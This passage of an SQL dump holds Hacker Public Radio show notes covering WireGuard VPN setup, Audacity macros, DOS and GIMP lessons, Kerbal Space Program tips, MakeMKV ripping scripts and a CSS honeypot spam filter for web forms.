laptop connects to a server machine.</p>\r\n<p>There where a couple of wiki pages that I read on Christmas Eve that gave me a lightbulb moment and some clarity on the way it worked. So I decided to try and set it up.</p>\r\n<p>The articles acknowledge that it is a peer to peer technology and then go on to call one peer a server and the other peer the client.</p>\r\n<p>Also I would recommend for your first client use an android device with the wireguard app. It\'s more user friendly in that some of the config is auto filled for you and then you can export the config file and examine it in a text editor later to get a better handle on things.</p>\r\n<p>I\'m going to assume that you have installed the wireguard packages for your system and that you have given your server a static IP on your network.</p>\r\n<p>I\'m using Arch linux on my servers but I see the Linode Debian \'how to\' works in the same way.</p>\r\n<p>So we are going to log into the server and start the setup.</p>\r\n<h3 id=\"st-create-private-and-public-keys\">1st create Private and Public keys</h3>\r\n<p>Create directory for Keys</p>\r\n<pre><code>cd ~\r\nmkdir wireguard\r\ncd wireguard</code></pre>\r\n<p>Create Server Keys</p>\r\n<pre><code>umask 077\r\nwg genkey | tee privatekey | wg pubkey &gt; publickey</code></pre>\r\n<p>Create sub directory for client1 keys</p>\r\n<pre><code>mkdir client1\r\ncd client1\r\nwg genkey | tee privatekey | wg pubkey &gt; publickey</code></pre>\r\n<p>Repeat for as many clients as needed</p>\r\n<h3 id=\"createedit-wireguard-config\">Create/edit wireguard config</h3>\r\n<p>Check the interface name facing the internet is correct before copy/paste</p>\r\n<pre><code>ifconfig</code></pre>\r\n<p>Before you continue you will need to forwrd a port from your internet facing router to your server. Somewhere in your router settings you\'ll find a port forward setting. At home I have a Fritzbox and it\'s buried under network / permitted access. At work it\'s a Linksys ac1200 and it\'s under gaming / apps / single port forwarding. I\'m sure you will find it.</p>\r\n<p>The wireguard default port is 51820 and you\'ll find this port named in most of the how to\'s on the web. I use a different port number just to add a little bit of obsurity/security to my setup so if you choose to forward a different port from your router then remember to use that number in the configs.</p>\r\n<p>Below is the working <code>wg0.conf</code> file from my arch server with one client</p>\r\n<pre><code>[root@arch-server marshall]# cat /etc/wireguard/wg0.conf\r\n[Interface]\r\nAddress = 10.0.0.1/24\r\nMTU = 1500\r\nSaveConfig = false\r\nListenPort = 8801\r\nPrivateKey = sBNF2igw+xxxxxHh0HWJL2SHZ0ltR+xxxxxaCN/Wu3o=\r\nPostUp = iptables -A FORWARD -i wg0 -j ACCEPT; iptables -t nat -A POSTROUTING -o enp2s0 -j MASQUERADE\r\nPostDown = iptables -D FORWARD -i wg0 -j ACCEPT; iptables -t nat -D\r\nPOSTROUTING -o enp2s0 -j MASQUERADE\r\n\r\n[Peer]\r\n# BBKey2\r\nPublicKey = Aeo8ya/wCW9dlfO1a5cEaApLTbCfqJVw/stVDi2gDh8=\r\nAllowedIPs = 10.0.0.2/32</code></pre>\r\n<p>Below is the working <code>wg0.conf</code> file from my archarm server with one client</p>\r\n<pre><code>[root@alarmpi wireguard]# cat wg0.conf\r\n[Interface]\r\nAddress = 10.0.0.1/24\r\nMTU = 1500\r\nSaveConfig = false\r\nListenPort = 8801\r\nPrivateKey = GOzcxxxxx4+Gjs/50Ln+XFrlX0XXXXXKpeuf59IDnc=\r\nPostUp = iptables -A FORWARD -i wg0 -j ACCEPT; iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE\r\nPostDown = iptables -D FORWARD -i wg0 -j ACCEPT; iptables -t nat -D\r\nPOSTROUTING -o eth0 -j MASQUERADE\r\n\r\n[Peer]\r\n# BBKey2\r\nPublicKey = CSJyWwknPQyhF+dRrB6TOBX55gJXnreNIpBiz3qsSm0=\r\nAllowedIPs = 10.0.0.2/32</code></pre>\r\n<h3 id=\"enable-ipv4-forwarding\">Enable IPv4 forwarding</h3>\r\n<p>On the server enable IPv4 forwarding using sysctl</p>\r\n<pre><code>sysctl -w net.ipv4.ip_forward=1</code></pre>\r\n<p>To make the change permanent. Add</p>\r\n<pre><code>net.ipv4.ip_forward = 1</code></pre>\r\n<p>to <code>/etc/sysctl.d/99-sysctl.conf</code></p>\r\n<h3 id=\"check-if-everything-works\">Check if everything works!</h3>\r\n<p>Bring the tunnel up.</p>\r\n<pre><code>wg-quick up wg0</code></pre>\r\n<p>Check tunnel state and see currently connected peers.</p>\r\n<pre><code>wg</code></pre>\r\n<p>If it all works then use systemd to start the tunnel on boot.</p>\r\n<pre><code>systemctl enable wg-quick@wg0.service</code></pre>\r\n<h3 id=\"if-it-doesnt\">If it doesn\'t</h3>\r\n<p>More than likely it\'s IPv4 forwarding.</p>\r\n<p>Try running <code>sysctl -w net.ipv4.ip_forward=1</code> again, or DNS on the client is set wrong.</p>\r\n<h2 id=\"arch-linux\">Arch linux</h2>\r\n<pre><code>pacman -S wireguard-tools wireguard-arch dkms linux-headers</code></pre>\r\n<p>ArchArm dkms + headers</p>\r\n<pre><code>pacman -S dkms wireguard-tools wireguard-dkms linux-raspberrypi-headers</code></pre>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1263\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1263</a> &lt;--- the old sshuttle episode with NYbill</li>\r\n<li><a href=\"https://aur.archlinux.org/packages/networkmanager-wireguard-git/\" class=\"uri\">https://aur.archlinux.org/packages/networkmanager-wireguard-git/</a></li>\r\n<li><a href=\"https://github.com/max-moser/network-manager-wireguard\" class=\"uri\">https://github.com/max-moser/network-manager-wireguard</a></li>\r\n<li><a href=\"https://wiki.archlinux.org/index.php/WireGuard\" class=\"uri\">https://wiki.archlinux.org/index.php/WireGuard</a></li>\r\n<li><a href=\"https://www.linode.com/docs/networking/vpn/set-up-wireguard-vpn-on-ubuntu/\" class=\"uri\">https://www.linode.com/docs/networking/vpn/set-up-wireguard-vpn-on-ubuntu/</a></li>\r\n</ul>\r\n',392,0,0,'CC-BY-SA','wireguard, openVPN, Arch, sshuttle',0,0,1),
(3287,'2021-03-09','Quick tip',117,'Quick tip and HPR needs shows','<p><a href=\"https://f-droid.org/en/packages/com.github.axet.audiorecorder/\" class=\"uri\">https://f-droid.org/en/packages/com.github.axet.audiorecorder/</a></p>\r\n<p><em>Small drinking glass</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3287/picture1.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3287/picture1_thumbnail.jpg\" alt=\"Small drinking glass\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>Perfectly peeled eggs</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3287/picture2.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3287/picture2_thumbnail.jpg\" alt=\"Perfectly peeled eggs\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n',318,93,0,'CC-BY-SA','Cooking',0,0,1),
(3291,'2021-03-15','The New Audacity and Batch Processing Macros',501,'A brief look at at the new Audacity and how I got it working for me','<p>When Audacity upgraded it caused some changes that affected my use of it to prepare podcasts I listen to. I did find the answer, though, and I am sharing it with you.</p>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/\" class=\"uri\">https://hackerpublicradio.org/</a></li>\r\n<li><a href=\"https://forum.audacityteam.org/\" class=\"uri\">https://forum.audacityteam.org/</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=_DZeio_ansE\" class=\"uri\">https://www.youtube.com/watch?v=_DZeio_ansE</a></li>\r\n<li><a href=\"https://www.zwilnik.com/the-new-audacity-and-batch-processing-macros/\" class=\"uri\">https://www.zwilnik.com/the-new-audacity-and-batch-processing-macros/</a></li>\r\n</ul>\r\n',198,0,0,'CC-BY-SA','Audacity, macros, batch processing',0,0,1),
(3390,'2021-07-30','Intro to DOS Series',803,'We begin some technological archeology to explore the old warhorse, DOS.','<p>This Introduction to the series also serves as a brief recap of my early history with computers, and the path that brought me to where I am today.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://www.ahuka.com/dos-lessons-for-self-study-purposes/\" class=\"uri\">https://www.ahuka.com/dos-lessons-for-self-study-purposes/</a></li>\r\n</ul>\r\n',198,117,0,'CC-BY-SA','DOS, early PC computing',0,0,1),
(3400,'2021-08-13','Normal Layer Modes: Normal, Dissolve, Color Erase',778,'We begin a look at the Layer Modes in GIMP','<p>Layer Modes, sometimes called Blending Modes, allow you to combine layers in a variety of ways. We\'ll begin with the Normal modes and work our way through many, but not all, of the Layer Modes available on the latest (at the time I write this) version of GIMP, 2.10.20.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://docs.gimp.org/2.10/en/gimp-concepts-layer-modes.html\" class=\"uri\">https://docs.gimp.org/2.10/en/gimp-concepts-layer-modes.html</a></li>\r\n<li><a href=\"https://www.ahuka.com/gimp/normal-layer-modes-normal-dissolve-color-erase/\" class=\"uri\">https://www.ahuka.com/gimp/normal-layer-modes-normal-dissolve-color-erase/</a></li>\r\n</ul>\r\n',198,113,0,'CC-BY-SA','GIMP, Layer Modes, Blending Modes',0,0,1),
(3410,'2021-08-27','Operating Systems',828,'Here we look at what an operating system is, and how they developed historically.','<p>While the very first computers did not have operating systems, the lack of them made computers less efficient and more difficult to use. We look at the general history of operating systems before getting into the history of DOS. Then we look at some general principles of what operating systems do.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://webopedia.com/\" class=\"uri\">https://webopedia.com/</a></li>\r\n<li><a href=\"https://webopedia.com/TERM/o/operating_system.html\" class=\"uri\">https://webopedia.com/TERM/o/operating_system.html</a></li>\r\n<li><a href=\"https://www.telegraph.co.uk/technology/0/worst-tech-predictions-of-all-time/thomas-watson-ibm-president-in-1943/\" class=\"uri\">https://www.telegraph.co.uk/technology/0/worst-tech-predictions-of-all-time/thomas-watson-ibm-president-in-1943/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Time-sharing\" class=\"uri\">https://en.wikipedia.org/wiki/Time-sharing</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Multics\" class=\"uri\">https://en.wikipedia.org/wiki/Multics</a></li>\r\n<li><a href=\"https://webopedia.com/TERM/C/CPU.html\" class=\"uri\">https://webopedia.com/TERM/C/CPU.html</a></li>\r\n<li><a href=\"https://webopedia.internet.com/TERM/u/user_interface.html\" class=\"uri\">https://webopedia.internet.com/TERM/u/user_interface.html</a></li>\r\n<li><a href=\"https://dougengelbart.org/\" class=\"uri\">https://dougengelbart.org/</a></li>\r\n<li><a href=\"https://webopedia.internet.com/TERM/G/Graphical_User_Interface_GUI.html\" class=\"uri\">https://webopedia.internet.com/TERM/G/Graphical_User_Interface_GUI.html</a></li>\r\n<li><a href=\"https://www.amazon.com/Fumbling-Future-Invented-Personal-Computer/dp/1583482660\" class=\"uri\">https://www.amazon.com/Fumbling-Future-Invented-Personal-Computer/dp/1583482660</a></li>\r\n<li><a href=\"https://www.cryptonomicon.com/beginning.html\" class=\"uri\">https://www.cryptonomicon.com/beginning.html</a></li>\r\n<li><a href=\"https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-1-operating-systems/\" class=\"uri\">https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-1-operating-systems/</a></li>\r\n</ul>\r\n',198,117,0,'CC-BY-SA','DOS, early PC computing, operating systems',0,0,1),
(3420,'2021-09-10','Normal Layer Modes: Erase, Merge, and Split',606,'We continue our look at the Layer Modes in GIMP','<p>Layer Modes, sometimes called Blending Modes, allow you to combine layers in a variety of ways. We\'ll begin with the Normal modes and work our way through many, but not all, of the Layer Modes available on the latest (at the time I write this) version of GIMP, 2.10.20.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://fontlibrary.org/\" class=\"uri\">https://fontlibrary.org/</a></li>\r\n<li><a href=\"https://www.ahuka.com/gimp/free-public-domain-and-cc-assets/\" class=\"uri\">https://www.ahuka.com/gimp/free-public-domain-and-cc-assets/</a></li>\r\n<li><a href=\"https://fontlibrary.org/en/font/fivefoldornamentsetc\" class=\"uri\">https://fontlibrary.org/en/font/fivefoldornamentsetc</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=17Iivi0tmug\" class=\"uri\">https://www.youtube.com/watch?v=17Iivi0tmug</a></li>\r\n<li><a href=\"https://www.gimp-forum.net/Forum-GIMP\" class=\"uri\">https://www.gimp-forum.net/Forum-GIMP</a></li>\r\n<li><a href=\"https://www.ahuka.com/gimp/normal-layer-modes-erase-merge-and-split/\" class=\"uri\">https://www.ahuka.com/gimp/normal-layer-modes-erase-merge-and-split/</a></li>\r\n</ul>\r\n',198,113,0,'CC-BY-SA','GIMP, Layer Modes, Blending Modes',0,0,1),
(3430,'2021-09-24','Booting',724,'We look in detail at how early PCs booted.','<p>The boot process is a very particular system for taking a dead hunk of metal and silicon and turning it into an active computer. It is kind of remarkable, and in the DOS environment you really needed to know how it worked.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://webopedia.com/TERM/B/BIOS.html\" class=\"uri\">https://webopedia.com/TERM/B/BIOS.html</a></li>\r\n<li><a href=\"https://webopedia.com/TERM/R/ROM.html\" class=\"uri\">https://webopedia.com/TERM/R/ROM.html</a></li>\r\n<li><a href=\"https://webopedia.com/TERM/C/CMOS.html\" class=\"uri\">https://webopedia.com/TERM/C/CMOS.html</a></li>\r\n<li><a href=\"https://webopedia.com/TERM/p/power_on_self_test.html\" class=\"uri\">https://webopedia.com/TERM/p/power_on_self_test.html</a></li>\r\n<li><a href=\"https://webopedia.com/TERM/M/MBR.html\" class=\"uri\">https://webopedia.com/TERM/M/MBR.html</a></li>\r\n<li><a href=\"https://webopedia.com/TERM/k/kernel.html\" class=\"uri\">https://webopedia.com/TERM/k/kernel.html</a></li>\r\n<li><a href=\"https://webopedia.com/TERM/s/shell.html\" class=\"uri\">https://webopedia.com/TERM/s/shell.html</a></li>\r\n<li><a href=\"https://webopedia.com/TERM/i/internal_command.html\" class=\"uri\">https://webopedia.com/TERM/i/internal_command.html</a></li>\r\n<li><a href=\"https://webopedia.com/TERM/b/batch_file.html\" class=\"uri\">https://webopedia.com/TERM/b/batch_file.html</a></li>\r\n<li><a href=\"https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-2-booting/\" class=\"uri\">https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-2-booting/</a></li>\r\n</ul>\r\n',198,117,0,'CC-BY-SA','DOS, early PC computing, boot process',0,0,1),
(3292,'2021-03-16','Squirrel FSF blog',2785,'The trouble with HUMANS and HUMAN things.... ','<ul>\r\n<li><p>Google Chrome OS<br />\r\n<a href=\"https://www.google.com/chromebook/chrome-os\" class=\"uri\">https://www.google.com/chromebook/chrome-os</a></p></li>\r\n<li><p>Dell Mini 10<br />\r\n<a href=\"https://www.dell.com/sr/business/p/inspiron-mini10z/pd\" class=\"uri\">https://www.dell.com/sr/business/p/inspiron-mini10z/pd</a></p></li>\r\n<li><p>ConnochaetOS - what\'s left of it.<br />\r\n<a href=\"https://sourceforge.net/projects/connochaetos/\" class=\"uri\">https://sourceforge.net/projects/connochaetos/</a></p></li>\r\n<li><p>OpenBSD website<br />\r\n<a href=\"https://www.openbsd.org/index.html\" class=\"uri\">https://www.openbsd.org/index.html</a></p></li>\r\n<li><p>Enabling audio in OpenBSD<br />\r\n<a href=\"https://www.openbsd.org/faq/faq13.html\" class=\"uri\">https://www.openbsd.org/faq/faq13.html</a></p></li>\r\n<li><p>Enabling a webcam in OpenBSD<br />\r\n<a href=\"https://www.openbsd.org/faq/faq13.html#webcam\" class=\"uri\">https://www.openbsd.org/faq/faq13.html#webcam</a></p></li>\r\n<li><p>FuguIta - OpenBSD Live System<br />\r\n<a href=\"https://fuguita.org/\" class=\"uri\">https://fuguita.org/</a></p></li>\r\n<li><p>Linux Mint - LMDE 4 - Debbie<br />\r\n<a href=\"https://www.linuxmint.com/download_lmde.php\" class=\"uri\">https://www.linuxmint.com/download_lmde.php</a></p></li>\r\n<li><p>Bonus Material - CROWZ - Devuan based Crunchbang clone.<br />\r\n<a href=\"https://sourceforge.net/projects/crowz/\" class=\"uri\">https://sourceforge.net/projects/crowz/</a></p></li>\r\n</ul>\r\n',377,0,0,'CC-BY-SA','banning software, banning ideology, modernizing, re-evaluating, prejudice',0,0,1),
(3293,'2021-03-17','HPR RPG Club reviews Dungeon Raiders',3269,'Klaatu, Beni, and McNalu review an OSR DnD clone','<p>\r\nDungeon Raiders is a D&amp;D \"retroclone\", designed to mimic old school gaming.\r\nIt\'s a simple system, but is it <em>too</em> simple?\r\nFind out in today\'s episode&#33;\r\n</p>\r\n\r\n<p>\r\nYou can download Dungeon Raiders for free from <a href=\"https://www.drivethrurpg.com/product/99366/Dungeon-Raiders\">Drivethrurpg.com</a>\r\n</p>\r\n\r\n<p>\r\nYou can play games with the RPG club.\r\nSubscribe to the HPR mailing list to learn about our schedule, or email Klaatu at this domain.\r\n</p>\r\n',78,95,0,'CC-BY-SA','dnd,osr,tabletop,rpg',0,0,1),
(3301,'2021-03-29','K S P Kerbal Space Program! (Game)',2131,'400 hours into the game I talk about howto get into Kerbal Space Program!','<ul>\r\n<li>dont ever use return to launch pad or anything always use quick save and load etc .. quick save before launch etc...</li>\r\n<li>stay away from missions that are high altitudes/ and low speed etc ... for now. stick with ones that are ALT or SPEED only .. do both only if you are sure you can do it.</li>\r\n<li>use F12 to keep an eye on physics</li>\r\n<li>to EVA in space you need upgrade astronaut complex first ...</li>\r\n<li>hit the rest button in the build menu to reset all the stage to .. logical order</li>\r\n<li>My rules of thumb for parachutes:\r\n<ul>\r\n<li>Mk1s are good for a ton each.</li>\r\n<li>Radials and drogues are good for 1.5t each.</li>\r\n<li>Mk2s are good for 2t each.</li>\r\n</ul></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=nprOvWBgsEM&amp;t=1574\" class=\"uri\">https://www.youtube.com/watch?v=nprOvWBgsEM&amp;t=1574</a></li>\r\n<li>build a plane to do \"conduct survey\" missions ...</li>\r\n<li>missing SAS buttons ? upgrade at tracking and mission control then level up your Pilot to 3 or use tech tree to unlock mod with SAS https://forum.kerbalspaceprogram.com/index.php?/topic/186853-most-efficient-way-to-level-up-pilots/</li>\r\n<li>try to just focuses on missions you can complete easily</li>\r\n<li>when you finish a mission keep an eye on the recovery mod or % at the end it will tell you in the report how much money you lost ....</li>\r\n<li>sub assembly <a href=\"https://www.youtube.com/watch?v=ZdUyKH4NC1M\" class=\"uri\">https://www.youtube.com/watch?v=ZdUyKH4NC1M</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=RXKjt11vjps\" class=\"uri\">https://www.youtube.com/watch?v=RXKjt11vjps</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=mqWppFJGbY8\" class=\"uri\">https://www.youtube.com/watch?v=mqWppFJGbY8</a> ( unlock tech tree )</li>\r\n<li>A good rule of thumb is to simply keep the ship between 200-300 m/s until you are above 12k meters so you aren\'t burning extra fuel to get through the lower atmosphere where you\'re going to experience the most drag. <a href=\"https://m.youtube.com/playlist?list=PL-7ICWbZUDjlBrsHIS8mEEj3xIMUQwlp5\" class=\"uri\">https://m.youtube.com/playlist?list=PL-7ICWbZUDjlBrsHIS8mEEj3xIMUQwlp5</a>\r\n<ul>\r\n<li>different rockets work better in vacuum of Space</li>\r\n<li>for large payloads: Fuel Flow &amp; Asparagus Staging | KSP Beginner\'s Guide</li>\r\n</ul></li>\r\n<li>NERV Rocket : <a href=\"https://www.youtube.com/watch?v=s90tSM0oowo\" class=\"uri\">https://www.youtube.com/watch?v=s90tSM0oowo</a></li>\r\n<li>223 hrs and just now getting to build/mechjeb OK...</li>\r\n<li>COM ranges <a href=\"https://wiki.kerbalspaceprogram.com/wiki/CommNet\" class=\"uri\">https://wiki.kerbalspaceprogram.com/wiki/CommNet</a></li>\r\n<li>sat build! <a href=\"https://www.youtube.com/watch?v=OYCk_pYx_kE\" class=\"uri\">https://www.youtube.com/watch?v=OYCk_pYx_kE</a> :\r\n<ul>\r\n<li>AE-F33 shell (faring)</li>\r\n<li>TR-V2 decopuler</li>\r\n<li>dawn engine</li>\r\n<li>2 x pb-x150 xeono</li>\r\n<li>small inline reaction wheel</li>\r\n<li>z-200 battery</li>\r\n<li>ra-15 sat</li>\r\n<li>OK-T02 probe (remote control )</li>\r\n<li>communion 16 (for kerbal coms)</li>\r\n<li>2x gigantor solar array</li>\r\n</ul></li>\r\n<li>toggle debeis and clean up !</li>\r\n<li><span class=\"citation\" data-cites=\"KSpaceAcademy\">@KSpaceAcademy</span> <span class=\"citation\" data-cites=\"KSA_MissionCtrl\">@KSA_MissionCtrl</span> #KSP #KSP2 <span class=\"citation\" data-cites=\"SquadDevs\">@SquadDevs</span> <span class=\"citation\" data-cites=\"KerbalSpaceP\">@KerbalSpaceP</span></li>\r\n</ul>\r\n',36,0,0,'CC-BY-SA','Kerbal Space Program,KSP,games,space',0,0,1),
(3294,'2021-03-18','Update to MakeMKV to back up media',378,'Update to MakeMKV to back up media, now on Raspberry Pi','<p>This is an update on my previous episode <a href=\"https://hackerpublicradio.org/eps.php?id=3179\"><em>hpr3179 :: MakeMKV to back up media</em></a>.</p>\r\n<p>In the past month, MakeMKV.com has been updated to include Raspberry Pi support.</p>\r\n<h3 id=\"sources\">Sources:</h3>\r\n<ul>\r\n<li>MakeMKV on Linux post<br />\r\n<a href=\"https://forum.makemkv.com/forum/viewtopic.php?f=3&amp;t=224\" class=\"uri\">https://forum.makemkv.com/forum/viewtopic.php?f=3&amp;t=224</a></li>\r\n<li>MakeMKV on ARM release<br />\r\n<a href=\"https://forum.makemkv.com/forum/viewtopic.php?p=105912#p105912\" class=\"uri\">https://forum.makemkv.com/forum/viewtopic.php?p=105912#p105912</a></li>\r\n</ul>\r\n<p>It was a very uneventful \"It\'s here\"</p>\r\n<p><em>MakeMV on Raspberry Pi (ARM)</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3294/Picture1.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3294/Picture1_thumbnail.png\" alt=\"MakeMV on Raspberry Pi (ARM)\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<pre><code>wget https://www.makemkv.com/download/makemkv-bin-1.16.1.tar.gz\r\nwget https://www.makemkv.com/download/makemkv-oss-1.16.1.tar.gz</code></pre>\r\n<p>Unpack both packages and starting from source package and do the following steps:</p>\r\n<p>For makemkv-oss package:</p>\r\n<pre><code>./configure\r\nmake\r\nsudo make install</code></pre>\r\n<p>For makemkv-bin package:</p>\r\n<pre><code>make\r\nsudo make install</code></pre>\r\n<p>Install ccextractor and necessary packages</p>\r\n<pre><code>sudo apt install libtesseract-dev autoconf sysconftool\r\n\r\ngit clone https://github.com/CCExtractor/ccextractor.git\r\ncd ccextractor/linux/\r\n./build</code></pre>\r\n<p>nnn: command line file browser with vim-like keybindings</p>\r\n<p><a href=\"https://github.com/jarun/nnn\" class=\"uri\">https://github.com/jarun/nnn</a></p>\r\n<p>Script to rip TV episodes</p>\r\n<p>makemkv.tv.sh</p>\r\n<pre><code>#!/bin/bash\r\n#echo &quot;Series?&quot;\r\nseries=Battlestar\r\necho &quot;Series: $series&quot;\r\necho &quot;What Season is this?&quot;\r\nread season\r\necho &quot;Season: $season&quot;\r\necho &quot;Which disc # is this?&quot;\r\nread disknum\r\necho &quot;This is disk #$disknum&quot;\r\necho &quot;Starting with which episode?&quot;\r\nread episode\r\n\r\neject -x20\r\nmkdir &quot;&quot;disc.&quot;$disknum&quot;\r\nmakemkvcon mkv --progress=-same --minlength=2100 disc:0 all &quot;&quot;disc.&quot;$disknum&quot;\r\ncd &quot;&quot;disc.&quot;$disknum&quot;\r\n\r\n#episode=1\r\nepisode=$episode\r\nfor track in *.mkv\r\ndo\r\n  mv $track $series&quot;_S&quot;$season&quot;_D&quot;$disknum&quot;_E&quot;$episode.mkv\r\n  episode=$((episode+1))\r\ndone\r\n\r\ncd ..</code></pre>\r\n<p>Script to convert multiple episodes</p>\r\n<p>mkv2mkv_mult.sh</p>\r\n<pre><code>#!/bin/bash\r\nmkdir encoded\r\nfor i in *.mkv\r\ndo\r\n  HandBrakeCLI --first-subtitle --subtitle-default=none -i $i -o &quot;encoded&quot;/&quot;`basename -s .mkv $i`.mkv&quot;\r\ndone</code></pre>\r\n<p>Before and after the rename loop</p>\r\n<p><em>Before rename</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3294/Picture2.png\" alt=\"Before rename\" /></p>\r\n<p><em>After rename</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3294/Picture3.png\" alt=\"After rename\" /></p>\r\n',318,0,0,'CC-BY-SA','dvd, blu-ray, backup, nnn',0,0,1),
(3296,'2021-03-22','Spam Bot Honey Pot',364,'Implementing a honey pot style spam filter for your HTML forms','<p>In this episode of Hacker Public Radio, I will describe the method I chose to combat spam bots filling out my company\'s contact form. About 99% of the submissions we receive are spam, which makes filtering for valid messages painful. After some research into different methods, I decided to go with the honey pot method.</p>\r\n<p>The honey pot method uses an extra text input field to lure the spam bot into filling it out. There are different suggestions for how to hide this extra field from valid users by using either javascript or CSS. With javascript, the honey pot section of the form is removed from the DOM when the page loads, hiding it from your users. The argument for this method is most bots don\'t implement javascript, so the honey pot field will not be hidden from them. I think that is a valid argument but I didn\'t want to include extra javascript in my page--so I went with the CSS method.</p>\r\n<p>There are references at the end of the show notes to a couple of the articles I read on implementing the honey pot with either javascript or CSS. My take away was, one, don\'t use the CSS display property set to the value of none to take the input out of the DOM. Sufficiently smart enough bots may know to scan for this, especially if applied directly to the element. Also don\'t name your classes something obvious to your intent like \"anti-spam-filter\". My guess is the majority of the bots out there aren\'t that sophisticated, but I figured it couldn\'t hurt to follow those suggestions.</p>\r\n<p>I was already using Bootstrap CSS for our site, so I decided to use Bootstrap\'s \"sr-only\" class. This class is used for elements that you only want visible to screen readers. It takes the element and uses a combination of absolute positioning, setting the size and width to 1 pixel, setting a negative left margin, and hiding content overflow to prevent the honey pot showing up visually. I figured if the bot was scanning CSS for classes or properties, this wouldn\'t trigger any warnings. It does bring up the issue of how to prevent impacting the experience of people using screen readers. I applied the aria-hidden attribute with a value of true to the label element surrounding the honey pot input field. \"[this] removes that element and all of its children from the accessibility tree.\" So we now have the field hidden both visually in the browser and from assistive technologies. Given the short end of the stick accessibility usually gets, I doubt there are any spam bots scanning for that ARIA attribute. For the minority of users who might be viewing with the classic lynx browser, I put \'For office use\' as the label text before the honey pot, hoping this would get the message across without tipping off the bot to the intended purpose of the related input field.</p>\r\n<p>The other main issue with this method is the value of the name attribute used for the input field. Some argue to use obfuscated values like \"mmxxName\" instead of \"name\", or \"sxysPhone\" for \"phone\". Apparently some bots will skip fields they don\'t recognize. By using more standard names for multiple honey pot fields, it easier to determine if it is a bot. The counter argument to this naming scheme is about the user experience, by obfuscating the name, then browsers won\'t auto-fill the valid fields of the form. This also brings up the matter of not auto-filling the spam fields by the browser of your users. This is done by setting any of your honey pot input elements\' \"autocomplete\" attributes to \"off\".</p>\r\n<p>So far this spam filtering method is working nicely. I currently send any messages flagged as spam to a different email address with the subject prepended with the words \"[Spam review]\". Once I am confident there are not that many false positives, I will just skip sending flagged messages. The one issue I have experienced with this method is when using the tab key to move through the form. Since the input field is only visually hidden, it still receives focus as you tab through. If you happen to hit another key while still in the hidden field, it will get captured by the honey pot and then the submission will be flagged as spam.</p>\r\n<p>I have created a sample form on my personal site. Please visit URL: <a href=\"https://www.horning.us/hpr/SpamBotHoneyPot.php\" class=\"uri\">https://www.horning.us/hpr/SpamBotHoneyPot.php</a> to try it out. It is a simple PHP page using the GET method when submitting the form. Once you press the submit button you will see the form fields and their values, along with the result messages. I chose to use \"URL\" as the name for my honey pot input field. I use it on my example form, and I use it for my work form. For my work form, a URL is not something we ask to be submitted, and being a common field in forms, makes it very tempting for bots. In my example code, the CSS for hiding the honey pot section is from the minicss.org websites. Their \"visibility-hidden\" class is very similar to Bootstrap\'s \"sr-only\" class. I would be interested to hear if others have implemented something similar. I would also love to hear from someone who uses a screen reader. Does it prevent the honey pot section from being read?</p>\r\n<h2 id=\"references\">References</h2>\r\n<ul>\r\n<li>Better Honeypot Implementation (Form Anti-Spam)<br />\r\n<a href=\"https://stackoverflow.com/questions/36227376/better-honeypot-implementation-form-anti-spam\" class=\"uri\">https://stackoverflow.com/questions/36227376/better-honeypot-implementation-form-anti-spam</a></li>\r\n<li>Honeypot Technique: Fast, Easy Spam Prevention<br />\r\n<a href=\"https://solutionfactor.net/blog/2014/02/01/honeypot-technique-fast-easy-spam-prevention/\" class=\"uri\">https://solutionfactor.net/blog/2014/02/01/honeypot-technique-fast-easy-spam-prevention/</a></li>\r\n<li>Using the aria-hidden attribute<br />\r\n<a href=\"https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-hidden_attribute\" class=\"uri\">https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-hidden_attribute</a></li>\r\n<li>mini.css<br />\r\n<a href=\"https://minicss.org/docs#visibility-helpers\" class=\"uri\">https://minicss.org/docs#visibility-helpers</a></li>\r\n<li>Spam Bot Honey Pot example<br />\r\n<a href=\"https://www.horning.us/hpr/SpamBotHoneyPot.php\" class=\"uri\">https://www.horning.us/hpr/SpamBotHoneyPot.php</a></li>\r\n</ul>\r\n',293,0,0,'CC-BY-SA','Spam, HTML, Forms',0,0,1),
